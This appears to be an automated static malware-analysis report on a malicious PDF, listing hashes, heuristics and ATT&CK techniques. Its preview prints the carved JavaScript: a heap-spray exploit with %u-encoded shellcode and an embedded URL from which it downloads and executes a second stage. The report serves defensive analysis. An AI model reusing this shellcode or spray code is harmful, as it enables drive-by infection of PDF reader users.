Malicious PDF — malware analysis report

Static analysis result for SHA-256 b9829d48e5a166cb…

MALICIOUS

PDF

12.6 KB Created: +Lµ‘<Nm”ö\mF}»\Døzuò Authoring application: ‘‰‡Î+g~¦€°\#Oþw?ÈKJ2 (via ‘‰) First seen: 2012-11-25
MD5: 6d44ccda5024a2105a1c2bb96a907278 SHA-1: 3734669573a45b996cbc4aa2b1497815cae61c03 SHA-256: b9829d48e5a166cbf758b4048a520a162b8130f71f7265a1b860ea4bdaeae4b6
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.002 Spearphishing Attachment

This PDF file is suspicious due to the presence of JavaScript embedded within an encrypted stream. The JavaScript is likely used to obfuscate or deliver a malicious payload, which is a common technique for evading static analysis. The heuristics indicate that the PDF is encrypted and contains JavaScript, suggesting an attempt to hide malicious content. While no specific family is identified, the overall pattern points to a downloader or exploit delivery mechanism.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9988

Heuristics 6

  • Encrypted PDF carries /JavaScript — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JS
    PDF declares /Encrypt and also references an executable trigger (/JavaScript). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://qseft-qseft.comule.com/f.php?uprintf Referenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://www.aiim.org/pdfa/ns/extension/In PDF document text
    • http://www.aiim.org/pdfa/ns/schema#In PDF document text
    • http://www.aiim.org/pdfa/ns/property#In PDF document text
    • http://www.aiim.org/pdfa/ns/id/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x15BD 2047 bytes
SHA-256: 7775774dedc9445c3cc5b30c029de14f83edf81cfaf5b2aee1f7d5083bd7a3da
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var fURL="%u7468%u7074%u2f3a%u712f%u6573%u7466%u712d%u6573%u7466%u632e%u6d6f%u6c75%u2e65%u6f63%u2f6d%u2e66%u6870%u3f70%u7075%u6972%u746e%u0066";try
{
	var v1=unescape("%u9090%u9090%u9c60%u00e8%u0000%u5d00%ued83%uba0b%u0022%u0000%uea01%uc031%ueeb9%u0001%ud200%u420a%ufbe2%u184c%u1846%u6001%u208b%u7103%ue007%u17b6%u0440%ub062%u08fb%u0000%u0bbe%u0040%u4700%u00cb%u0000%ub062%u004f%u0000%u92be%u0040%u4700%u008b%u0000%ub062%u008f%u0000%ued31%u9faf%u0000%u7f00%u8009%u0000%uab8e%u0000%uc400%u30ba%u482c%u0004%u2900%u0c9a%u86ff%u12ea%u0001%u2000%u89ae%u02db%u45c2%ua621%u1070%u0000%u6084%uc01d%u2088%u8cc8%uf7eb%u8322%uf523%u02a7%u0000%u9eef%u0010%ud100%u003a%u0000%u9a35%ud526%u6181%u2042%u0000%u1349%uc0ea%u02b0%u0020%ua400%uff53%ud734%u08fc%u0000%uedbf%u0040%u4700%u0050%u0000%ua09a%u9a35%ud526%u6181%u2042%u0000%ua649%uff53%ub334%u1e16%udd04%uf701%u6ad4%uff65%ue956%u0000%uea00%uff05%uf156%u0000%u7800%u0000%u0000%u0000%u0000%u2bb6%udcc9%u3665%u46cc%u23e2%ud8b1%ua300%u8e59%u2b45%ue0b5%ub050%u0d1d%u0014%ude31%u3261%u2d13%u9326%ue485%ua279%u281e%u3a00%ue895%u3950%u6cdb%u2314%ue491%ub965%u00dc%u7710%ue526%ufb89%u180c%uabea%u52f7%uc4f7%u267e%uf50c%u00f0%u0000%ub6c0%u08fb%u0000%ud666%ub0c0%u08fb%u0000%u388b%u701e%ue06c%u6b0c%u80bf%u0000%uedd8%u020f%u0000%u606b%ufd58%u0004%ud500%u606b%ufd58%u0004%u2800%ub5ea%u2c30%u02fe%u0000%ucbea%ude13%uacb6%uc203%u20ef%u0000%u8d26%ueb89%u9f54%u353f%ue865%u2f04%u7dd0%uf29e%ua34e%u81e0%u7961%u0010%u6200%u4bf6%ub599%u071c%u0608%ue185%u0040%u4c00%u5b1b%uc203%u20ef%u0000%u000f%u0000%u0000%u0000%u0000%u0000%u0000%u0000%ue600%ub268%u8d1b%u9133%uc8b8%u366c%u6a00%u2b86%ud8b1%u3c45%u6c59%ua357%u8295%uba00%u8d9c%u7bd6%u5cb9%u3664%u001b%u9255%u8831%ubb6f%u8d9b%u0bf6%ua891%u236f%u8d5a%u0a56%ud400%u3b61%uc558%uc356%u0095"+fURL);
	var v2 ="";
	for (v3=128;v3>=0;--v3) v2 += unescape("%u27b1%u9796");
	v4 = v2 + v1;
	v5 = unescape("%u27b1%u9796");
	v6 = 20;
	v7 = v6+v4.length
	while (v5.length<v7) v5+=v5;
	v8 = v5.substring(0, v7);
	v9 = v5.substring(0, v5.length-v7);
	while(v9.length+v7 < 0x40000) v9
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xB75 4366 bytes
SHA-256: 24c49145083e7abc851d5459c5df6684e5efd079cf7b67004fe9664b8196d53b
Preview script
First 1,000 lines of the extracted script
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